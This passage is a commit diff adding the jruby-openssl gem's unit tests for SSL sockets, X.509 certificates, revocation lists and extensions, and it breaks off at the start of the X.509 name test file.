@@ -0,0 +1,307 @@
+begin
+  require "openssl"
+  require File.join(File.dirname(__FILE__), "utils.rb")
+rescue LoadError
+end
+require "rbconfig"
+require "socket"
+require "test/unit"
+require "jruby"
+
+if defined?(OpenSSL)
+
+class OpenSSL::TestSSL < Test::Unit::TestCase
+  RUBY = ENV["RUBY"] || File.join(
+    ::Config::CONFIG["bindir"],
+    ::Config::CONFIG["ruby_install_name"] + ::Config::CONFIG["EXEEXT"]
+  )
+  SSL_SERVER = File.join(File.dirname(__FILE__), "ssl_server.rb")
+  PORT = 20443
+  ITERATIONS = ($0 == __FILE__) ? 5 : 5
+  
+  # Disable in-proc process launching and either run jruby with specified args
+  # or yield args to a given block
+  def jruby_oop(*args)
+    prev_in_process = JRuby.runtime.instance_config.run_ruby_in_process
+    JRuby.runtime.instance_config.run_ruby_in_process = false
+    if block_given?
+      yield args
+    else
+      `#{RUBY} #{args.join(' ')}`
+    end
+  ensure
+    JRuby.runtime.instance_config.run_ruby_in_process = prev_in_process
+  end
+
+  def setup
+    @ca_key  = OpenSSL::TestUtils::TEST_KEY_RSA2048
+    @svr_key = OpenSSL::TestUtils::TEST_KEY_RSA1024
+    @cli_key = OpenSSL::TestUtils::TEST_KEY_DSA256
+    @ca  = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=CA")
+    @svr = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=localhost")
+    @cli = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=localhost")
+
+    now = Time.at(Time.now.to_i)
+    ca_exts = [
+      ["basicConstraints","CA:TRUE",true],
+      ["keyUsage","cRLSign,keyCertSign",true],
+    ]
+    ee_exts = [
+      ["keyUsage","keyEncipherment,digitalSignature",true],
+    ]
+    @ca_cert  = issue_cert(@ca, @ca_key, 1, now, now+3600, ca_exts,
+                           nil, nil, OpenSSL::Digest::SHA1.new)
+    @svr_cert = issue_cert(@svr, @svr_key, 2, now, now+1800, ee_exts,
+                           @ca_cert, @ca_key, OpenSSL::Digest::SHA1.new)
+    @cli_cert = issue_cert(@cli, @cli_key, 3, now, now+1800, ee_exts,
+                           @ca_cert, @ca_key, OpenSSL::Digest::SHA1.new)
+    @server = nil
+  end
+
+  def teardown
+  end
+
+  def issue_cert(*arg)
+    OpenSSL::TestUtils.issue_cert(*arg)
+  end
+
+  def issue_crl(*arg)
+    OpenSSL::TestUtils.issue_crl(*arg)
+  end
+
+  def start_server(port0, verify_mode, start_immediately, &block)
+    server = nil
+    jruby_oop {
+      begin
+        cmd = [RUBY]
+        cmd << "-Ilib"
+        cmd << "-d" if $DEBUG
+        cmd << SSL_SERVER << port0.to_s << verify_mode.to_s
+        cmd << (start_immediately ? "yes" : "no")
+        server = IO.popen(cmd.join(" "), "w+")
+        server.write(@ca_cert.to_pem)
+        server.write(@svr_cert.to_pem)
+        server.write(@svr_key.to_pem)
+        $stderr.puts "sent certs to server" if $DEBUG
+        str = server.gets
+        $stderr.puts "got pid from server: #{str}" if $DEBUG
+        pid = Integer(str)
+        if port = server.gets
+          if $DEBUG
+            $stderr.printf("%s started: pid=%d port=%d\n", SSL_SERVER, pid, port)
+          end
+          block.call(server, port.to_i)
+        end
+      ensure
+        if server
+          $stderr.puts "killing: #{pid}" if $DEBUG
+          Process.kill(:KILL, pid)
+          server.close
+        end
+      end
+    }
+  end
+
+  def starttls(ssl)
+    ssl.puts("STARTTLS")
+
+    sleep 1   # When this line is eliminated, process on Cygwin blocks
+              # forever at ssl.connect. But I don't know why it does.
+
+    ssl.connect
+  end
+
+  def test_connect_and_close
+    start_server(PORT, OpenSSL::SSL::VERIFY_NONE, true){|s, p|
+      sock = TCPSocket.new("127.0.0.1", p)
+      ssl = OpenSSL::SSL::SSLSocket.new(sock)
+      assert(ssl.connect)
+      ssl.close
+      assert(!sock.closed?)
+      sock.close
+
+      sock = TCPSocket.new("127.0.0.1", p)
+      ssl = OpenSSL::SSL::SSLSocket.new(sock)
+      ssl.sync_close = true  # !!
+      assert(ssl.connect)
+      ssl.close
+      assert(sock.closed?)
+    }
+  end
+
+  def test_read_and_write
+    start_server(PORT, OpenSSL::SSL::VERIFY_NONE, true){|s, p|
+      sock = TCPSocket.new("127.0.0.1", p)
+      ssl = OpenSSL::SSL::SSLSocket.new(sock)
+      ssl.sync_close = true
+      ssl.connect
+
+      # syswrite and sysread
+      ITERATIONS.times{|i|
+        str = "x" * 100 + "\n"
+        ssl.syswrite(str)
+        assert_equal(str, ssl.sysread(str.size))
+
+        str = "x" * i * 100 + "\n"
+        buf = ""
+        ssl.syswrite(str)
+        assert_equal(buf.object_id, ssl.sysread(str.size, buf).object_id)
+        assert_equal(str, buf)
+      }
+
+      # puts and gets
+      ITERATIONS.times{
+        str = "x" * 100 + "\n"
+        ssl.puts(str)
+        assert_equal(str, ssl.gets)
+      }
+
+      # read and write
+      ITERATIONS.times{|i|
+        str = "x" * 100 + "\n"
+        ssl.write(str)
+        assert_equal(str, ssl.read(str.size))
+
+        str = "x" * i * 100 + "\n"
+        buf = ""
+        ssl.write(str)
+        assert_equal(buf.object_id, ssl.read(str.size, buf).object_id)
+        assert_equal(str, buf)
+      }
+
+      ssl.close
+    }
+  end
+
+  # Temporarily disabled...see JRUBY-1888
+#  def test_client_auth
+#    vflag = OpenSSL::SSL::VERIFY_PEER|OpenSSL::SSL::VERIFY_FAIL_IF_NO_PEER_CERT
+#    start_server(PORT, vflag, true){|s, p|
+#      assert_raises(OpenSSL::SSL::SSLError){
+#        sock = TCPSocket.new("127.0.0.1", p)
+#        ssl = OpenSSL::SSL::SSLSocket.new(sock)
+#        ssl.connect
+#      }
+#      ctx = OpenSSL::SSL::SSLContext.new
+#      ctx.key = @cli_key
+#      ctx.cert = @cli_cert
+#      sock = TCPSocket.new("127.0.0.1", p)
+#      ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx)
+#      ssl.sync_close = true
+#      ssl.connect
+#      ssl.puts("foo")
+#      assert_equal("foo\n", ssl.gets)
+#      ssl.close
+#
+#      called = nil
+#      ctx = OpenSSL::SSL::SSLContext.new
+#      ctx.client_cert_cb = Proc.new{|ssl|
+#        called = true
+#        [@cli_cert, @cli_key]
+#      }
+#      sock = TCPSocket.new("127.0.0.1", p)
+#      ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx)
+#      ssl.sync_close = true
+#      ssl.connect
+##      assert(called)
+#      ssl.puts("foo")
+#      assert_equal("foo\n", ssl.gets)
+#      ssl.close
+#    }
+#  end
+
+  def test_starttls
+    start_server(PORT, OpenSSL::SSL::VERIFY_NONE, false){|s, p|
+      sock = TCPSocket.new("127.0.0.1", p)
+      ssl = OpenSSL::SSL::SSLSocket.new(sock)
+      ssl.sync_close = true
+      str = "x" * 1000 + "\n"
+      ITERATIONS.times{
+        ssl.puts(str)
+        assert_equal(str, ssl.gets)
+      }
+
+      starttls(ssl)
+
+      ITERATIONS.times{
+        ssl.puts(str)
+        assert_equal(str, ssl.gets)
+      }
+
+      ssl.close
+    }
+  end
+
+  def test_parallel
+    GC.start
+    start_server(PORT, OpenSSL::SSL::VERIFY_NONE, true){|s, p|
+      ssls = []
+      10.times{
+        sock = TCPSocket.new("127.0.0.1", p)
+        ssl = OpenSSL::SSL::SSLSocket.new(sock)
+        ssl.connect
+        ssl.sync_close = true
+        ssls << ssl
+      }
+      str = "x" * 1000 + "\n"
+      ITERATIONS.times{
+        ssls.each{|ssl|
+          ssl.puts(str)
+          assert_equal(str, ssl.gets)
+        }
+      }
+      ssls.each{|ssl| ssl.close }
+    }
+  end
+
+  def test_post_connection_check
+    sslerr = OpenSSL::SSL::SSLError
+
+    start_server(PORT, OpenSSL::SSL::VERIFY_NONE, true){|s, p|
+      sock = TCPSocket.new("127.0.0.1", p)
+      ssl = OpenSSL::SSL::SSLSocket.new(sock)
+      ssl.connect
+      assert_raises(sslerr){ssl.post_connection_check("localhost.localdomain")}
+      assert_raises(sslerr){ssl.post_connection_check("127.0.0.1")}
+      assert(ssl.post_connection_check("localhost"))
+      assert_raises(sslerr){ssl.post_connection_check("foo.example.com")}
+    }
+
+    now = Time.now
+    exts = [
+      ["keyUsage","keyEncipherment,digitalSignature",true],
+      ["subjectAltName","DNS:localhost.localdomain",false],
+      ["subjectAltName","IP:127.0.0.1",false],
+    ]
+    @svr_cert = issue_cert(@svr, @svr_key, 4, now, now+1800, exts,
+                           @ca_cert, @ca_key, OpenSSL::Digest::SHA1.new)
+    start_server(PORT, OpenSSL::SSL::VERIFY_NONE, true){|s, p|
+      sock = TCPSocket.new("127.0.0.1", p)
+      ssl = OpenSSL::SSL::SSLSocket.new(sock)
+      ssl.connect
+      assert(ssl.post_connection_check("localhost.localdomain"))
+      assert(ssl.post_connection_check("127.0.0.1"))
+      assert_raises(sslerr){ssl.post_connection_check("localhost")}
+      assert_raises(sslerr){ssl.post_connection_check("foo.example.com")}
+    }
+
+    now = Time.now
+    exts = [
+      ["keyUsage","keyEncipherment,digitalSignature",true],
+      ["subjectAltName","DNS:*.localdomain",false],
+    ]
+    @svr_cert = issue_cert(@svr, @svr_key, 5, now, now+1800, exts,
+                           @ca_cert, @ca_key, OpenSSL::Digest::SHA1.new)
+    start_server(PORT, OpenSSL::SSL::VERIFY_NONE, true){|s, p|
+      sock = TCPSocket.new("127.0.0.1", p)
+      ssl = OpenSSL::SSL::SSLSocket.new(sock)
+      ssl.connect
+      assert(ssl.post_connection_check("localhost.localdomain"))
+      assert_raises(sslerr){ssl.post_connection_check("127.0.0.1")}
+      assert_raises(sslerr){ssl.post_connection_check("localhost")}
+      assert_raises(sslerr){ssl.post_connection_check("foo.example.com")}
+    }
+  end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509cert.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509cert.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509cert.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,174 @@
+begin
+  require "openssl"
+  require File.join(File.dirname(__FILE__), "utils.rb")
+rescue LoadError
+end
+require "test/unit"
+
+if defined?(OpenSSL)
+
+class OpenSSL::TestX509Certificate < Test::Unit::TestCase
+  def setup
+    @rsa1024 = OpenSSL::TestUtils::TEST_KEY_RSA1024
+    @rsa2048 = OpenSSL::TestUtils::TEST_KEY_RSA2048
+    @dsa256  = OpenSSL::TestUtils::TEST_KEY_DSA256
+    @dsa512  = OpenSSL::TestUtils::TEST_KEY_DSA512
+    @ca = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=CA")
+    @ee1 = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=EE1")
+    @ee2 = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=EE2")
+  end
+
+  def teardown
+  end
+
+  def issue_cert(*args)
+    OpenSSL::TestUtils.issue_cert(*args)
+  end
+
+  def test_serial
+    [1, 2**32, 2**100].each{|s|
+      cert = issue_cert(@ca, @rsa2048, s, Time.now, Time.now+3600, [],
+                        nil, nil, OpenSSL::Digest::SHA1.new) 
+      assert_equal(s, cert.serial)
+      cert = OpenSSL::X509::Certificate.new(cert.to_der)
+      assert_equal(s, cert.serial)
+    }
+  end
+
+  def test_public_key
+    exts = [
+      ["basicConstraints","CA:TRUE",true],
+      ["subjectKeyIdentifier","hash",false],
+      ["authorityKeyIdentifier","keyid:always",false],
+    ]
+
+    sha1 = OpenSSL::Digest::SHA1.new
+    dss1 = OpenSSL::Digest::DSS1.new
+    [
+      [@rsa1024, sha1], [@rsa2048, sha1], [@dsa256, dss1], [@dsa512, dss1],
+    ].each{|pk, digest|
+      cert = issue_cert(@ca, pk, 1, Time.now, Time.now+3600, exts,
+                        nil, nil, digest)
+      assert_equal(cert.extensions[1].value,OpenSSL::TestUtils.get_subject_key_id(cert))
+      cert = OpenSSL::X509::Certificate.new(cert.to_der)
+      assert_equal(cert.extensions[1].value,
+                   OpenSSL::TestUtils.get_subject_key_id(cert))
+    }
+  end
+
+  def test_validity
+    now = Time.now until now && now.usec != 0
+    cert = issue_cert(@ca, @rsa2048, 1, now, now+3600, [],
+                      nil, nil, OpenSSL::Digest::SHA1.new) 
+    assert_not_equal(now, cert.not_before)
+    assert_not_equal(now+3600, cert.not_after)
+
+    now = Time.at(now.to_i)
+    cert = issue_cert(@ca, @rsa2048, 1, now, now+3600, [],
+                      nil, nil, OpenSSL::Digest::SHA1.new) 
+    assert_equal(now.getutc, cert.not_before)
+    assert_equal((now+3600).getutc, cert.not_after)
+
+    now = Time.at(0)
+    cert = issue_cert(@ca, @rsa2048, 1, now, now, [],
+                      nil, nil, OpenSSL::Digest::SHA1.new) 
+    assert_equal(now.getutc, cert.not_before)
+    assert_equal(now.getutc, cert.not_after)
+
+    now = Time.at(0x7fffffff)
+    cert = issue_cert(@ca, @rsa2048, 1, now, now, [],
+                      nil, nil, OpenSSL::Digest::SHA1.new) 
+    assert_equal(now.getutc, cert.not_before)
+    assert_equal(now.getutc, cert.not_after)
+  end
+
+  def test_extension
+    ca_exts = [
+      ["basicConstraints","CA:TRUE",true],
+      ["keyUsage","keyCertSign, cRLSign",true],
+      ["subjectKeyIdentifier","hash",false],
+      ["authorityKeyIdentifier","keyid:always",false],
+    ]
+    ca_cert = issue_cert(@ca, @rsa2048, 1, Time.now, Time.now+3600, ca_exts,
+                         nil, nil, OpenSSL::Digest::SHA1.new) 
+    ca_cert.extensions.each_with_index{|ext, i|
+      assert_equal(ca_exts[i].first, ext.oid)
+      assert_equal(ca_exts[i].last, ext.critical?)
+    }
+
+    ee1_exts = [
+      ["keyUsage","Non Repudiation, Digital Signature, Key Encipherment",true],
+      ["subjectKeyIdentifier","hash",false],
+      ["authorityKeyIdentifier","keyid:always",false],
+      ["extendedKeyUsage","clientAuth, emailProtection, codeSigning",false],
+      ["subjectAltName","email:ee1 at ruby-lang.org",false],
+    ]
+    ee1_cert = issue_cert(@ee1, @rsa1024, 2, Time.now, Time.now+1800, ee1_exts,
+                          ca_cert, @rsa2048, OpenSSL::Digest::SHA1.new) 
+    assert_equal(ca_cert.subject.to_der, ee1_cert.issuer.to_der)
+    ee1_cert.extensions.each_with_index{|ext, i|
+      assert_equal(ee1_exts[i].first, ext.oid)
+      assert_equal(ee1_exts[i].last, ext.critical?)
+    }
+
+    ee2_exts = [
+      ["keyUsage","Non Repudiation, Digital Signature, Key Encipherment",true],
+      ["subjectKeyIdentifier","hash",false],
+      ["authorityKeyIdentifier","issuer:always",false],
+      ["extendedKeyUsage","clientAuth, emailProtection, codeSigning",false],
+      ["subjectAltName","email:ee2 at ruby-lang.org",false],
+    ]
+    ee2_cert = issue_cert(@ee2, @rsa1024, 3, Time.now, Time.now+1800, ee2_exts,
+                          ca_cert, @rsa2048, OpenSSL::Digest::MD5.new) 
+    assert_equal(ca_cert.subject.to_der, ee2_cert.issuer.to_der)
+    ee2_cert.extensions.each_with_index{|ext, i|
+      assert_equal(ee2_exts[i].first, ext.oid)
+      assert_equal(ee2_exts[i].last, ext.critical?)
+    }
+
+  end
+
+  def test_sign_and_verify
+    cert = issue_cert(@ca, @rsa2048, 1, Time.now, Time.now+3600, [],
+                      nil, nil, OpenSSL::Digest::SHA1.new) 
+    assert_equal(false, cert.verify(@rsa1024))
+    assert_equal(true,  cert.verify(@rsa2048))
+    assert_equal(false, cert.verify(@dsa256))
+    assert_equal(false, cert.verify(@dsa512))
+    cert.serial = 2
+    assert_equal(false, cert.verify(@rsa2048))
+
+    cert = issue_cert(@ca, @rsa2048, 1, Time.now, Time.now+3600, [],
+                      nil, nil, OpenSSL::Digest::MD5.new) 
+    assert_equal(false, cert.verify(@rsa1024))
+    assert_equal(true,  cert.verify(@rsa2048))
+    assert_equal(false, cert.verify(@dsa256))
+    assert_equal(false, cert.verify(@dsa512))
+    cert.subject = @ee1
+    assert_equal(false, cert.verify(@rsa2048))
+
+    cert = issue_cert(@ca, @dsa512, 1, Time.now, Time.now+3600, [],
+                      nil, nil, OpenSSL::Digest::DSS1.new) 
+    assert_equal(false, cert.verify(@rsa1024))
+    assert_equal(false, cert.verify(@rsa2048))
+    assert_equal(false, cert.verify(@dsa256))
+    assert_equal(true,  cert.verify(@dsa512))
+    cert.not_after = Time.now 
+    assert_equal(false, cert.verify(@dsa512))
+
+    assert_raises(OpenSSL::X509::CertificateError){
+      cert = issue_cert(@ca, @rsa2048, 1, Time.now, Time.now+3600, [],
+                        nil, nil, OpenSSL::Digest::DSS1.new) 
+    }
+    assert_raises(OpenSSL::X509::CertificateError){
+      cert = issue_cert(@ca, @dsa512, 1, Time.now, Time.now+3600, [],
+                        nil, nil, OpenSSL::Digest::MD5.new) 
+    }
+    assert_raises(OpenSSL::X509::CertificateError){
+      cert = issue_cert(@ca, @dsa512, 1, Time.now, Time.now+3600, [],
+                        nil, nil, OpenSSL::Digest::SHA1.new) 
+    }
+  end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509crl.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509crl.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509crl.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,218 @@
+begin
+  require "openssl"
+  require File.join(File.dirname(__FILE__), "utils.rb")
+rescue LoadError
+end
+require "test/unit"
+
+if defined?(OpenSSL)
+
+class OpenSSL::TestX509CRL < Test::Unit::TestCase
+  def setup
+    @rsa1024 = OpenSSL::TestUtils::TEST_KEY_RSA1024
+    @rsa2048 = OpenSSL::TestUtils::TEST_KEY_RSA2048
+    @dsa256  = OpenSSL::TestUtils::TEST_KEY_DSA256
+    @dsa512  = OpenSSL::TestUtils::TEST_KEY_DSA512
+    @ca = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=CA")
+    @ee1 = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=EE1")
+    @ee2 = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=EE2")
+  end
+
+  def teardown
+  end
+
+  def issue_crl(*args)
+    OpenSSL::TestUtils.issue_crl(*args)
+  end
+
+  def issue_cert(*args)
+    OpenSSL::TestUtils.issue_cert(*args)
+  end
+
+  def test_basic
+    now = Time.at(Time.now.to_i)
+
+    cert = issue_cert(@ca, @rsa2048, 1, now, now+3600, [],
+                      nil, nil, OpenSSL::Digest::SHA1.new)
+    crl = issue_crl([], 1, now, now+1600, [],
+                    cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+    assert_equal(1, crl.version)
+    assert_equal(cert.issuer.to_der, crl.issuer.to_der)
+    assert_equal(now, crl.last_update)
+    assert_equal(now+1600, crl.next_update)
+
+    crl = OpenSSL::X509::CRL.new(crl.to_der)
+    assert_equal(1, crl.version)
+    assert_equal(cert.issuer.to_der, crl.issuer.to_der)
+    assert_equal(now, crl.last_update)
+    assert_equal(now+1600, crl.next_update)
+  end
+
+  def test_revoked
+
+    # CRLReason ::= ENUMERATED {
+    #      unspecified             (0),
+    #      keyCompromise           (1),
+    #      cACompromise            (2),
+    #      affiliationChanged      (3),
+    #      superseded              (4),
+    #      cessationOfOperation    (5),
+    #      certificateHold         (6),
+    #      removeFromCRL           (8),
+    #      privilegeWithdrawn      (9),
+    #      aACompromise           (10) }
+
+    now = Time.at(Time.now.to_i)
+    revoke_info = [
+      [1, Time.at(0),          1],
+      [2, Time.at(0x7fffffff), 2],
+      [3, now,                 3],
+      [4, now,                 4],
+      [5, now,                 5],
+    ]
+    cert = issue_cert(@ca, @rsa2048, 1, Time.now, Time.now+3600, [],
+                      nil, nil, OpenSSL::Digest::SHA1.new)
+    crl = issue_crl(revoke_info, 1, Time.now, Time.now+1600, [],
+                    cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+    revoked = crl.revoked
+    assert_equal(5, revoked.size)
+    assert_equal(1, revoked[0].serial)
+    assert_equal(2, revoked[1].serial)
+    assert_equal(3, revoked[2].serial)
+    assert_equal(4, revoked[3].serial)
+    assert_equal(5, revoked[4].serial)
+
+    assert_equal(Time.at(0), revoked[0].time)
+    assert_equal(Time.at(0x7fffffff), revoked[1].time)
+    assert_equal(now, revoked[2].time)
+    assert_equal(now, revoked[3].time)
+    assert_equal(now, revoked[4].time)
+
+    assert_equal("CRLReason", revoked[0].extensions[0].oid)
+    assert_equal("CRLReason", revoked[1].extensions[0].oid)
+    assert_equal("CRLReason", revoked[2].extensions[0].oid)
+    assert_equal("CRLReason", revoked[3].extensions[0].oid)
+    assert_equal("CRLReason", revoked[4].extensions[0].oid)
+
+    assert_equal("Key Compromise", revoked[0].extensions[0].value)
+    assert_equal("CA Compromise", revoked[1].extensions[0].value)
+    assert_equal("Affiliation Changed", revoked[2].extensions[0].value)
+    assert_equal("Superseded", revoked[3].extensions[0].value)
+    assert_equal("Cessation Of Operation", revoked[4].extensions[0].value)
+
+    assert_equal(false, revoked[0].extensions[0].critical?)
+    assert_equal(false, revoked[1].extensions[0].critical?)
+    assert_equal(false, revoked[2].extensions[0].critical?)
+    assert_equal(false, revoked[3].extensions[0].critical?)
+    assert_equal(false, revoked[4].extensions[0].critical?)
+
+    crl = OpenSSL::X509::CRL.new(crl.to_der)
+    assert_equal("Key Compromise", revoked[0].extensions[0].value)
+    assert_equal("CA Compromise", revoked[1].extensions[0].value)
+    assert_equal("Affiliation Changed", revoked[2].extensions[0].value)
+    assert_equal("Superseded", revoked[3].extensions[0].value)
+    assert_equal("Cessation Of Operation", revoked[4].extensions[0].value)
+
+    revoke_info = (1..1000).collect{|i| [i, now, 0] }
+    crl = issue_crl(revoke_info, 1, Time.now, Time.now+1600, [],
+                    cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+    revoked = crl.revoked
+    assert_equal(1000, revoked.size)
+    assert_equal(1, revoked[0].serial)
+    assert_equal(1000, revoked[999].serial)
+  end
+
+  def test_extension
+    cert_exts = [
+      ["basicConstraints", "CA:TRUE", true],
+      ["subjectKeyIdentifier", "hash", false], 
+      ["authorityKeyIdentifier", "keyid:always", false], 
+      ["subjectAltName", "email:xyzzy at ruby-lang.org", false],
+      ["keyUsage", "cRLSign, keyCertSign", true],
+    ]
+    crl_exts = [
+      ["authorityKeyIdentifier", "keyid:always", false], 
+      ["issuerAltName", "issuer:copy", false],
+    ]
+    
+    cert = issue_cert(@ca, @rsa2048, 1, Time.now, Time.now+3600, cert_exts,
+                      nil, nil, OpenSSL::Digest::SHA1.new)
+    crl = issue_crl([], 1, Time.now, Time.now+1600, crl_exts,
+                    cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+    exts = crl.extensions
+    assert_equal(3, exts.size)
+    assert_equal("1", exts[0].value)
+    assert_equal("crlNumber", exts[0].oid)
+    assert_equal(false, exts[0].critical?)
+
+    assert_equal("authorityKeyIdentifier", exts[1].oid)
+    keyid = OpenSSL::TestUtils.get_subject_key_id(cert)
+    assert_match(/^keyid:#{keyid}/, exts[1].value)
+    assert_equal(false, exts[1].critical?)
+
+    assert_equal("issuerAltName", exts[2].oid)
+    assert_equal("email:xyzzy at ruby-lang.org", exts[2].value)
+    assert_equal(false, exts[2].critical?)
+
+    crl = OpenSSL::X509::CRL.new(crl.to_der)
+    exts = crl.extensions
+    assert_equal(3, exts.size)
+    assert_equal("1", exts[0].value)
+    assert_equal("crlNumber", exts[0].oid)
+    assert_equal(false, exts[0].critical?)
+
+    assert_equal("authorityKeyIdentifier", exts[1].oid)
+    keyid = OpenSSL::TestUtils.get_subject_key_id(cert)
+    assert_match(/^keyid:#{keyid}/, exts[1].value)
+    assert_equal(false, exts[1].critical?)
+
+    assert_equal("issuerAltName", exts[2].oid)
+    assert_equal("email:xyzzy at ruby-lang.org", exts[2].value)
+    assert_equal(false, exts[2].critical?)
+  end
+
+  def test_crlnumber
+    cert = issue_cert(@ca, @rsa2048, 1, Time.now, Time.now+3600, [],
+                      nil, nil, OpenSSL::Digest::SHA1.new)
+    crl = issue_crl([], 1, Time.now, Time.now+1600, [],
+                    cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+    assert_match(1.to_s, crl.extensions[0].value)
+    assert_match(/X509v3 CRL Number:\s+#{1}/m, crl.to_text)
+
+    crl = issue_crl([], 2**32, Time.now, Time.now+1600, [],
+                    cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+    assert_match((2**32).to_s, crl.extensions[0].value)
+    assert_match(/X509v3 CRL Number:\s+#{2**32}/m, crl.to_text)
+
+    crl = issue_crl([], 2**100, Time.now, Time.now+1600, [],
+                    cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+    assert_match(/X509v3 CRL Number:\s+#{2**100}/m, crl.to_text)
+    assert_match((2**100).to_s, crl.extensions[0].value)
+  end
+
+  def test_sign_and_verify
+    cert = issue_cert(@ca, @rsa2048, 1, Time.now, Time.now+3600, [],
+                      nil, nil, OpenSSL::Digest::SHA1.new)
+    crl = issue_crl([], 1, Time.now, Time.now+1600, [],
+                    cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+    assert_equal(false, crl.verify(@rsa1024))
+    assert_equal(true,  crl.verify(@rsa2048))
+    assert_equal(false, crl.verify(@dsa256))
+    assert_equal(false, crl.verify(@dsa512))
+    crl.version = 0
+    assert_equal(false, crl.verify(@rsa2048))
+
+    cert = issue_cert(@ca, @dsa512, 1, Time.now, Time.now+3600, [],
+                      nil, nil, OpenSSL::Digest::DSS1.new)
+    crl = issue_crl([], 1, Time.now, Time.now+1600, [],
+                    cert, @dsa512, OpenSSL::Digest::DSS1.new)
+    assert_equal(false, crl.verify(@rsa1024))
+    assert_equal(false, crl.verify(@rsa2048))
+    assert_equal(false, crl.verify(@dsa256))
+    assert_equal(true,  crl.verify(@dsa512))
+    crl.version = 0
+    assert_equal(false, crl.verify(@dsa512))
+  end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509ext.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509ext.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509ext.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,74 @@
+begin
+  require "openssl"
+  require File.join(File.dirname(__FILE__), "utils.rb")
+rescue LoadError
+end
+require "test/unit"
+
+if defined?(OpenSSL)
+
+class OpenSSL::TestX509Extension < Test::Unit::TestCase
+  def setup
+    @basic_constraints_value = OpenSSL::ASN1::Sequence([
+      OpenSSL::ASN1::Boolean(true),   # CA
+      OpenSSL::ASN1::Integer(2)       # pathlen
+    ])
+    @basic_constraints = OpenSSL::ASN1::Sequence([
+      OpenSSL::ASN1::ObjectId("basicConstraints"),
+      OpenSSL::ASN1::Boolean(true),
+      OpenSSL::ASN1::OctetString(@basic_constraints_value.to_der),
+    ])
+  end
+
+  def teardown
+  end
+
+  def test_new
+    ext = OpenSSL::X509::Extension.new(@basic_constraints.to_der)
+    assert_equal("basicConstraints", ext.oid)
+    assert_equal(true, ext.critical?)
+    assert_equal("CA:TRUE, pathlen:2", ext.value)
+
+    ext = OpenSSL::X509::Extension.new("2.5.29.19",
+                                       @basic_constraints_value.to_der, true)
+    assert_equal(@basic_constraints.to_der, ext.to_der)
+  end
+
+  def test_create_by_factory
+    ef = OpenSSL::X509::ExtensionFactory.new
+
+    bc = ef.create_extension("basicConstraints", "critical, CA:TRUE, pathlen:2")
+    assert_equal(@basic_constraints.to_der, bc.to_der)
+
+    bc = ef.create_extension("basicConstraints", "CA:TRUE, pathlen:2", true)
+    assert_equal(@basic_constraints.to_der, bc.to_der)
+
+    begin
+      ef.config = OpenSSL::Config.parse(<<-_end_of_cnf_)
+      [crlDistPts]
+      URI.1 = http://www.example.com/crl
+      URI.2 = ldap://ldap.example.com/cn=ca?certificateRevocationList;binary
+      _end_of_cnf_
+    rescue NotImplementedError
+      return
+    end
+
+    cdp = ef.create_extension("crlDistributionPoints", "@crlDistPts")
+    assert_equal(false, cdp.critical?)
+    assert_equal("crlDistributionPoints", cdp.oid)
+    assert_match(%{URI:http://www\.example\.com/crl}, cdp.value)
+    assert_match(
+      %r{URI:ldap://ldap\.example\.com/cn=ca\?certificateRevocationList;binary},
+      cdp.value)
+
+    cdp = ef.create_extension("crlDistributionPoints", "critical, @crlDistPts")
+    assert_equal(true, cdp.critical?)
+    assert_equal("crlDistributionPoints", cdp.oid)
+    assert_match(%{URI:http://www.example.com/crl}, cdp.value)
+    assert_match(
+      %r{URI:ldap://ldap.example.com/cn=ca\?certificateRevocationList;binary},
+      cdp.value)
+  end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509name.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509name.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509name.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,265 @@
+begin
+  require "openssl"
+rescue LoadError
+end
+require "test/unit"
+
+if defined?(OpenSSL)
+
+class OpenSSL::TestX509Name < Test::Unit::TestCase
+  OpenSSL::ASN1::ObjectId.register(
